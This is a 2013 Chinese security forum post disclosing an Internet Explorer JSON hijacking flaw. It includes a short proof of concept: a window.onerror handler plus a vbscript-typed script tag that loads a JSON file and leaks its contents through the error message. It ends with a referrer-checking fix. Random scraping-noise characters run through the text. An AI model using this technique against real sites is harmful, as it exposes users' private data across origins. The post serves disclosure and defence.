找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2258|回复: 0
打印 上一主题 下一主题

IE通用JSON劫持漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:57 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:
6 {: P) B6 o7 B+ u- F3 m* O0 U* `6 K
4 P/ S+ J9 U1 u$ G0 J由于某些资源容器对数据处理不当导致json劫持漏洞.
" @0 ~- o+ T1 r& E% I详细说明:
& g. k" t' V/ e6 e* f8 D) v由于ie支持vbscript,所以script元素可以指定成vbscript语言:& b- u( l4 o: ?; P) ?8 P
<script language=vbscript></script>
4 ]1 T6 T( Z9 D6 ]7 l
/ H* F  I0 v5 d. I6 ]当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.! }" V2 a8 A& d! e
漏洞证明:* m+ a5 Z2 l' {: N
<script>! s7 c7 O& D$ V8 o* w6 c
window.onerror=function(_){
$ J+ f2 l6 I* ralert(_)
% U4 ^$ O4 Y3 W+ w}
% W% J7 c& n+ c0 \6 q! F2 z% l* J8 D</script>2 S6 a0 H0 p2 K7 Z1 f
<script language=vbscript src=1.json></script>
6 P# D4 S6 D2 e
, j- s+ Y4 Q; o6 C + r. e2 X2 j% _' v. D; D! o
1.json:' F$ Q& a, g% q$ w/ f/ G
[{"name":"sogili","age":19}]
  A0 v) G" ]; w修复方案:$ |/ O- S4 f8 n) D' v
网站业务对于这个问题可以通过验证referrer是否为同源来防御
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表